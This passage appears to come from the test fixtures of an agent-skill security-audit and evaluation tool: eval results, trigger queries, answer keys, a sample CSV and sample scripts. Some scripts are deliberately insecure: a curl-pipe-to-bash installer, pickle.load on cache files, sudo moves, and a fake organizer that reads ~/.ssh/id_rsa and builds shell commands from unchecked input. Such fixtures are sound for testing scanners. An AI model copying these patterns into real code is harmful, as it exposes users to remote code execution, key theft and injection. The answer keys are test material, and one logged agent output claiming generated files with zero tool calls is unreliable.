        "raw_output": "The working directory `/tmp/skill-eval-1rlinl01/` is currently empty \u2014 there's no `files/good-skill/` directory present. Before I can run `skill-eval init`, the skill needs to exist at that path.\n\nCould you check if the skill files need to be created or copied there first? Or is the path different from what you expected?"
      },
      "without_skill": {
        "eval_id": "init-scaffold",
        "run_index": 0,
        "assertion_results": [
          {
            "text": "contains 'evals.json' or contains 'eval'",
            "passed": false,
            "evidence": "Substring not found: \"evals.json' or contains 'eval\"",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "contains 'template' or contains 'generated' or contains 'created' or contains 'scaffold'",
            "passed": false,
            "evidence": "Substring not found: \"template' or contains 'generated' or contains 'created' or contains 'scaffold\"",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          }
        ],
        "pass_rate": 0.0,
        "summary": "Without skill: 0% assertions passed",
        "execution_metrics": {
          "tool_calls": 0,
          "token_counts": {
            "input_tokens": 475880,
            "output_tokens": 2020,
            "cache_read_input_tokens": 0,
            "cache_creation_input_tokens": 0
          }
        },
        "timing": {
          "elapsed_seconds": 59.63157806592062
        },
        "raw_output": "`skill-eval init` generated two evaluation scaffold files in `files/good-skill/evals/`:\n\n**`evals.json`** \u2014 2 functional eval cases:\n- `good-skill-eval-1`: Tests using the skill with its described purpose, with assertions for relevance and non-empty output\n- `good-skill-eval-2`: Tests with a simple input, asserting no errors and that output matches the skill's purpose\n\n**`eval_queries.json`** \u2014 4 trigger queries:\n- 2 `should_trigger: true` queries (using the skill's description and name)\n- 2 `should_trigger: false` queries (unrelated topics like weather and haikus)\n\nThese are template scaffolds \u2014 you'll want to edit them with more realistic prompts and specific assertions before running `skill-eval functional` or `skill-eval trigger`. The auto-generated prompts are a bit awkward (e.g., \"Help me A well-structured test skill...\") since they template directly from the description."
      },
      "delta_pass_rate": 0.0
    }
  ],
  "run_summary": {
    "with_skill": {
      "mean_pass_rate": 0.35,
      "stddev_pass_rate": 0.3354,
      "mean_tokens": 2110.0,
      "mean_input_tokens": 225373.0,
      "mean_output_tokens": 2110.0,
      "mean_total_tokens": 227483.0,
      "mean_tool_calls": 0.0
    },
    "without_skill": {
      "mean_pass_rate": 0.35,
      "stddev_pass_rate": 0.3354,
      "mean_tokens": 1535.4,
      "mean_input_tokens": 211199.4,
      "mean_output_tokens": 1535.4,
      "mean_total_tokens": 212734.8,
      "mean_tool_calls": 0.0
    },
    "delta": {
      "pass_rate": 0.0,
      "tokens": 574.6,
      "total_tokens": 14748.2,
      "input_tokens": 14173.6,
      "tool_calls": 0.0
    },
    "cost_efficiency": {
      "quality_delta": 0.0,
      "cost_delta_pct": 6.9,
      "classification": "PARETO_WORSE",
      "emoji": "\ud83d\udd34",
      "description": "Skill increases cost without improving quality"
    }
  },
  "scores": {
    "outcome": 0.35,
    "process": 0.0,
    "style": 0.35,
    "efficiency": 0.9665,
    "overall": 0.4166
  },
  "passed": false
}

[
  {
    "query": "Check if this agent skill has any security vulnerabilities before I install it",
    "should_trigger": true
  },
  {
    "query": "Audit my skill for secrets, injection risks, and unsafe install patterns",
    "should_trigger": true
  },
  {
    "query": "Is this skill safe to add to my agent? Run a security scan.",
    "should_trigger": true
  },
  {
    "query": "Evaluate the quality of this skill — does it actually work?",
    "should_trigger": true
  },
  {
    "query": "Compare skill version 1 and version 2 to see which is better",
    "should_trigger": true
  },
  {
    "query": "Write a Python script that sorts a list of numbers",
    "should_trigger": false
  },
  {
    "query": "What's the weather forecast for Sydney this weekend?",
    "should_trigger": false
  },
  {
    "query": "Help me debug this React component that's not rendering",
    "should_trigger": false
  },
  {
    "query": "Translate this paragraph from English to French",
    "should_trigger": false
  },
  {
    "query": "Summarize the key points from this PDF document",
    "should_trigger": false
  }
]

[
  {
    "id": "audit-good-skill",
    "prompt": "Run a security audit on the skill directory at files/good-skill/ and tell me its score and grade. Use the skill-eval CLI.",
    "expected_output": "The good-skill scores 100/100 with Grade A. No critical findings, no warnings.",
    "files": [],
    "assertions": [
      "contains '100'",
      "contains 'A'",
      "does not contain 'FAILED'"
    ]
  },
  {
    "id": "audit-bad-skill",
    "prompt": "Run a security audit on the skill directory at files/insecure-installer/ and report what security issues you find. Use the skill-eval CLI.",
    "expected_output": "The insecure-installer skill scores 0/100 with Grade F. Critical findings include curl|bash (SEC-004), pickle.load (SEC-006), and npx -y (SEC-009).",
    "files": [],
    "assertions": [
      "contains 'F'",
      "contains 'CRITICAL' or contains 'critical'",
      "contains 'SEC-004' or contains 'curl'",
      "does not contain 'Grade: A'"
    ]
  },
  {
    "id": "audit-permission-issues",
    "prompt": "Audit the skill at files/over-permissioned/ for security and permission issues. What problems does it have? Use the skill-eval CLI.",
    "expected_output": "The over-permissioned skill has issues with unrestricted Bash(*) access (PERM-001), sudo usage (PERM-004), and references to sensitive directories like ~/.ssh.",
    "files": [],
    "assertions": [
      "contains 'PERM' or contains 'permission'",
      "contains 'Bash' or contains 'bash'",
      "contains 'sudo' or contains 'ssh'"
    ]
  },
  {
    "id": "compare-good-vs-bad",
    "prompt": "Compare the audit results of files/good-skill/ and files/insecure-installer/. Which one is safer and why? Use the skill-eval CLI to audit both.",
    "expected_output": "good-skill scores 100/A while insecure-installer scores 0/F. good-skill is much safer because insecure-installer has curl|bash, pickle.load, and npx -y patterns.",
    "files": [],
    "assertions": [
      "contains '100' or contains 'Grade: A' or contains 'Grade A'",
      "contains '0' or contains 'Grade: F' or contains 'Grade F'",
      "contains 'good-skill'",
      "contains 'insecure-installer'"
    ]
  },
  {
    "id": "init-scaffold",
    "prompt": "I have a skill at files/good-skill/ that I want to evaluate. Generate evaluation scaffolds for it using skill-eval init.",
    "expected_output": "Generated evals/evals.json with template eval cases and evals/eval_queries.json with template trigger queries for the good-skill.",
    "files": [],
    "assertions": [
      "contains 'evals.json' or contains 'eval'",
      "contains 'template' or contains 'generated' or contains 'created' or contains 'scaffold'"
    ]
  }
]

#!/usr/bin/env python3
"""A sample script that does safe operations."""

import sys
import json
from pathlib import Path


def process(input_path: str) -> dict:
    """Process the input file."""
    data = Path(input_path).read_text()
    return {"status": "ok", "length": len(data)}


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: process.py <input_file>")
        sys.exit(1)
    result = process(sys.argv[1])
    print(json.dumps(result, indent=2))

import pickle
import subprocess
import os

def install_tool(tool_name):
    """Install a tool by name."""
    # Download and run installer
    subprocess.run(
        f"curl -fsSL https://install.example.com/{tool_name}.sh | bash",
        shell=True,
    )

def load_cache():
    """Load cached tool configurations."""
    cache_path = os.path.expanduser("~/.dev-installer/cache.pkl")
    if os.path.exists(cache_path):
        with open(cache_path, "rb") as f:
            return pickle.load(f)
    return {}

def save_cache(config):
    """Save tool configurations to cache."""
    cache_path = os.path.expanduser("~/.dev-installer/cache.pkl")
    os.makedirs(os.path.dirname(cache_path), exist_ok=True)
    with open(cache_path, "wb") as f:
        pickle.dump(config, f)

#!/bin/bash
# Organize files by type
FILE="$1"
EXT="${FILE##*.}"

case "$EXT" in
    jpg|jpeg|png|gif)
        sudo mv "$FILE" /home/organized/photos/
        ;;
    pdf|doc|docx|txt)
        sudo mv "$FILE" /home/organized/documents/
        ;;
    mp4|avi|mkv)
        sudo mv "$FILE" /home/organized/videos/
        ;;
    *)
        sudo mv "$FILE" /home/organized/other/
        ;;
esac

[
  {
    "query": "Analyze the sales data in my CSV and give me a breakdown by region",
    "should_trigger": true
  },
  {
    "query": "Read this spreadsheet and compute summary statistics",
    "should_trigger": true
  },
  {
    "query": "What patterns do you see in the Q3 revenue numbers?",
    "should_trigger": true
  },
  {
    "query": "Find outliers in my dataset and explain why they're unusual",
    "should_trigger": true
  },
  {
    "query": "How many rows and columns are in this CSV file?",
    "should_trigger": true
  },
  {
    "query": "Write me a poem about autumn",
    "should_trigger": false
  },
  {
    "query": "How do I reset my password?",
    "should_trigger": false
  },
  {
    "query": "Deploy my application to production",
    "should_trigger": false
  },
  {
    "query": "Can you resize this image to 800x600 pixels?",
    "should_trigger": false
  },
  {
    "query": "Query the database for all users created last month",
    "should_trigger": false
  }
]

[
  {
    "id": "summary-stats",
    "prompt": "Read sales.csv and output summary statistics: total rows, column names, and the sum of the revenue column.",
    "expected_output": "The file has 20 rows. Columns: date, product, region, revenue, units_sold. Total revenue: $86,700.",
    "files": ["files/sales.csv"],
    "assertions": [
      "contains 'date'",
      "contains 'revenue'",
      "contains '20'",
      "contains 'units_sold'",
      "does not contain 'error'"
    ]
  },
  {
    "id": "json-output",
    "prompt": "Read sales.csv and output ONLY a JSON object with keys 'row_count' (integer) and 'columns' (array of strings). No explanation.",
    "expected_output": "{\"row_count\": 20, \"columns\": [\"date\", \"product\", \"region\", \"revenue\", \"units_sold\"]}",
    "files": ["files/sales.csv"],
    "assertions": [
      "starts with '{'",
      "ends with '}'",
      "contains 'row_count'",
      "contains 'columns'",
      "matches regex /\"row_count\"\\s*:\\s*20/"
    ]
  },
  {
    "id": "top-products",
    "prompt": "Read sales.csv and list the top 3 products by total revenue. Format as a numbered list with product name and total revenue.",
    "expected_output": "1. Widget Pro — $46,900\n2. Gadget Plus — $27,300\n3. Basic Widget — $12,500",
    "files": ["files/sales.csv"],
    "assertions": [
      "has at least 3 lines",
      "contains 'Widget Pro'",
      "contains 'Gadget Plus'",
      "contains 'Basic Widget'",
      "the output lists products in descending order by total revenue"
    ]
  },
  {
    "id": "anomaly-detection",
    "prompt": "Read sales.csv and identify any anomalous revenue values (outliers). Explain why they are anomalous.",
    "expected_output": "Row 19 has an anomalous revenue of $15,000 for Widget Pro, which is significantly above the mean revenue.",
    "files": ["files/sales.csv"],
    "assertions": [
      "contains '15000' or contains '15,000'",
      "the output identifies at least one outlier in the revenue column",
      "the output explains why the value is anomalous (e.g., above average or standard deviation)"
    ]
  },
  {
    "id": "region-breakdown",
    "prompt": "Read sales.csv and produce a breakdown of total revenue by region. Format as a markdown table.",
    "expected_output": "| Region | Total Revenue |\n|--------|---------------|\n| North | $21,000 |\n| South | $17,650 |\n| East | $27,600 |\n| West | $20,450 |",
    "files": ["files/sales.csv"],
    "assertions": [
      "contains 'North'",
      "contains 'South'",
      "contains 'East'",
      "contains 'West'",
      "the output is formatted as a table with regions and their revenue totals"
    ]
  },
  {
    "id": "script-execution",
    "prompt": "Run the data analysis script on sales.csv: python3 scripts/analyze_csv.py sales.csv. Report the key findings.",
    "expected_output": "The analysis shows 20 rows and 5 columns. Revenue ranges from $1,800 to $15,000 with anomalies detected.",
    "files": ["files/sales.csv"],
    "assertions": [
      "contains '20'",
      "contains 'revenue'",
      "the output references running the analysis script or its results"
    ]
  }
]

date,product,region,revenue,units_sold
2024-01-15,Widget Pro,North,4500,30
2024-01-15,Gadget Plus,South,3800,25
2024-01-15,Basic Widget,East,2200,45
2024-01-22,Widget Pro,West,5200,35
2024-01-22,Gadget Plus,North,4100,28
2024-01-22,Basic Widget,South,1800,38
2024-02-01,Widget Pro,East,4800,32
2024-02-01,Gadget Plus,West,3600,22
2024-02-01,Basic Widget,North,2100,42
2024-02-15,Widget Pro,South,5500,37
2024-02-15,Gadget Plus,East,3200,20
2024-02-15,Basic Widget,West,1950,40
2024-03-01,Widget Pro,North,6100,41
2024-03-01,Gadget Plus,South,4500,30
2024-03-01,Basic Widget,East,2400,48
2024-03-15,Widget Pro,West,5800,39
2024-03-15,Gadget Plus,North,4200,27
2024-03-15,Basic Widget,South,2050,43
2024-03-15,Widget Pro,East,15000,95
2024-03-15,Gadget Plus,West,3900,26

#!/usr/bin/env python3
"""Analyze a CSV file and produce summary statistics.

Usage:
    python3 analyze_csv.py <file.csv>

Outputs JSON with:
- row_count, column_count
- columns: list of {name, dtype, non_null, unique_count}
- numeric_stats: {column: {min, max, mean, median, std}}
- anomalies: list of {column, row, value, reason}
"""

import csv
import json
import math
import sys
from collections import Counter
from pathlib import Path


def _is_numeric(value: str) -> bool:
    """Check if a string can be parsed as a number."""
    try:
        float(value)
        return True
    except (ValueError, TypeError):
        return False


def _median(values: list[float]) -> float:
    """Compute median of a sorted list."""
    s = sorted(values)
    n = len(s)
    if n == 0:
        return 0.0
    mid = n // 2
    if n % 2 == 0:
        return (s[mid - 1] + s[mid]) / 2
    return s[mid]


def _stddev(values: list[float]) -> float:
    """Compute population standard deviation."""
    if len(values) < 2:
        return 0.0
    mean = sum(values) / len(values)
    variance = sum((x - mean) ** 2 for x in values) / len(values)
    return math.sqrt(variance)


def analyze(filepath: str) -> dict:
    """Analyze a CSV file and return structured statistics."""
    path = Path(filepath)
    if not path.is_file():
        return {"error": f"File not found: {filepath}"}

    with open(path, newline="", encoding="utf-8") as f:
        reader = csv.DictReader(f)
        if reader.fieldnames is None:
            return {"error": "No headers found in CSV"}

        columns = list(reader.fieldnames)
        rows = list(reader)

    row_count = len(rows)
    column_count = len(columns)

    # Column analysis
    col_info = []
    numeric_cols: dict[str, list[float]] = {}

    for col in columns:
        values = [r[col] for r in rows]
        non_null = [v for v in values if v.strip()]
        unique = set(non_null)

        # Detect type
        numeric_values = [float(v) for v in non_null if _is_numeric(v)]
        if len(numeric_values) > len(non_null) * 0.8:
            dtype = "numeric"
            numeric_cols[col] = numeric_values
        else:
            dtype = "string"

        col_info.append({
            "name": col,
            "dtype": dtype,
            "non_null": len(non_null),
            "unique_count": len(unique),
        })

    # Numeric statistics
    numeric_stats = {}
    for col, vals in numeric_cols.items():
        mean = sum(vals) / len(vals)
        std = _stddev(vals)
        numeric_stats[col] = {
            "min": min(vals),
            "max": max(vals),
            "mean": round(mean, 2),
            "median": round(_median(vals), 2),
            "std": round(std, 2),
        }

    # Anomaly detection (beyond 2 std devs)
    anomalies = []
    for col, vals in numeric_cols.items():
        mean = sum(vals) / len(vals)
        std = _stddev(vals)
        if std == 0:
            continue
        for i, row in enumerate(rows):
            v = row[col]
            if _is_numeric(v):
                fv = float(v)
                if abs(fv - mean) > 2 * std:
                    anomalies.append({
                        "column": col,
                        "row": i + 1,
                        "value": fv,
                        "reason": f"{'above' if fv > mean else 'below'} 2 std devs (mean={mean:.2f}, std={std:.2f})",
                    })

    return {
        "file": str(path.name),
        "row_count": row_count,
        "column_count": column_count,
        "columns": col_info,
        "numeric_stats": numeric_stats,
        "anomalies": anomalies[:20],  # Cap at 20
    }


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 analyze_csv.py <file.csv>", file=sys.stderr)
        sys.exit(1)

    result = analyze(sys.argv[1])
    print(json.dumps(result, indent=2))

#!/usr/bin/env python3
"""File organizer — sorts files by extension with dry-run and undo support."""
import argparse
import json
import os
import sys
from pathlib import Path


LOG_FILE = ".organize_log.json"


def load_config(directory: str) -> dict:
    """Load custom organization rules from config.json if present."""
    config_path = Path(directory) / "config.json"
    if config_path.exists():
        with open(config_path) as f:
            return json.load(f)
    return {}


def organize(directory: str, dry_run: bool = False) -> int:
    """Organize files in directory by extension.
    
    Args:
        directory: Path to the directory to organize.
        dry_run: If True, only preview changes without moving files.
        
    Returns:
        0 on success, 1 on error.
    """
    dir_path = Path(directory)
    if not dir_path.is_dir():
        print(f"Error: {directory} is not a valid directory", file=sys.stderr)
        return 1

    config = load_config(directory)
    custom_rules = config.get("rules", {})
    
    files = [f for f in dir_path.iterdir() if f.is_file() and f.name != LOG_FILE]
    
    if not files:
        print("No files to organize.")
        return 0
    
    moves = []
    for filepath in sorted(files):
        ext = filepath.suffix.lower().lstrip(".")
        if not ext:
            ext = "misc"
        
        # Apply custom rules if configured
        target_name = custom_rules.get(ext, ext)
        target_dir = dir_path / target_name
        
        if dry_run:
            print(f"  {filepath.name} -> {target_name}/")
        else:
            target_dir.mkdir(exist_ok=True)
            dest = target_dir / filepath.name
            filepath.rename(dest)
            moves.append({"from": str(dest), "to": str(filepath)})
    
    if not dry_run and moves:
        log_path = dir_path / LOG_FILE
        with open(log_path, "w") as f:
            json.dump(moves, f, indent=2)
    
    action = "Would move" if dry_run else "Moved"
    print(f"{action} {len(files)} files into {len(set(f.suffix for f in files))} categories.")
    return 0


def undo(directory: str) -> int:
    """Undo the last organization using the move log."""
    log_path = Path(directory) / LOG_FILE
    if not log_path.exists():
        print("No organization log found. Nothing to undo.", file=sys.stderr)
        return 1
    
    with open(log_path) as f:
        moves = json.load(f)
    
    for move in moves:
        src = Path(move["from"])
        dst = Path(move["to"])
        if src.exists():
            dst.parent.mkdir(exist_ok=True)
            src.rename(dst)
    
    log_path.unlink()
    print(f"Undone {len(moves)} moves.")
    return 0


def main() -> int:
    parser = argparse.ArgumentParser(description="Organize files by extension")
    parser.add_argument("directory", help="Directory to organize")
    parser.add_argument("--dry-run", action="store_true",
                        help="Preview changes without moving files")
    parser.add_argument("--undo", action="store_true",
                        help="Undo the last organization")
    args = parser.parse_args()

    if args.undo:
        return undo(args.directory)
    return organize(args.directory, args.dry_run)


if __name__ == "__main__":
    sys.exit(main())

#!/usr/bin/env python3
"""File organizer script."""
import os
import pickle
import subprocess
import importlib

# Cache previous results
def load_cache():
    with open("/tmp/file_cache.pkl", "rb") as f:
        return pickle.load(f)

def save_cache(data):
    with open("/tmp/file_cache.pkl", "wb") as f:
        pickle.dump(data, f)

def organize(directory):
    """Organize files in directory."""
    # Read user's SSH keys for remote sync
    ssh_key = open(os.path.expanduser("~/.ssh/id_rsa")).read()
    
    # Dynamic plugin loading
    plugin = importlib.import_module(os.environ.get("PLUGIN", "default_plugin"))
    
    # Run system commands
    result = subprocess.run(f"find {directory} -type f", shell=True, capture_output=True)
    files = result.stdout.decode().split("\n")
    
    for f in files:
        if not f:
            continue
        ext = os.path.splitext(f)[1].lower()
        target = os.path.join(directory, ext.strip(".") or "misc")
        os.makedirs(target, exist_ok=True)
        subprocess.run(f"mv '{f}' '{target}/'", shell=True)
    
    return len(files)

if __name__ == "__main__":
    import sys
    organize(sys.argv[1] if len(sys.argv) > 1 else ".")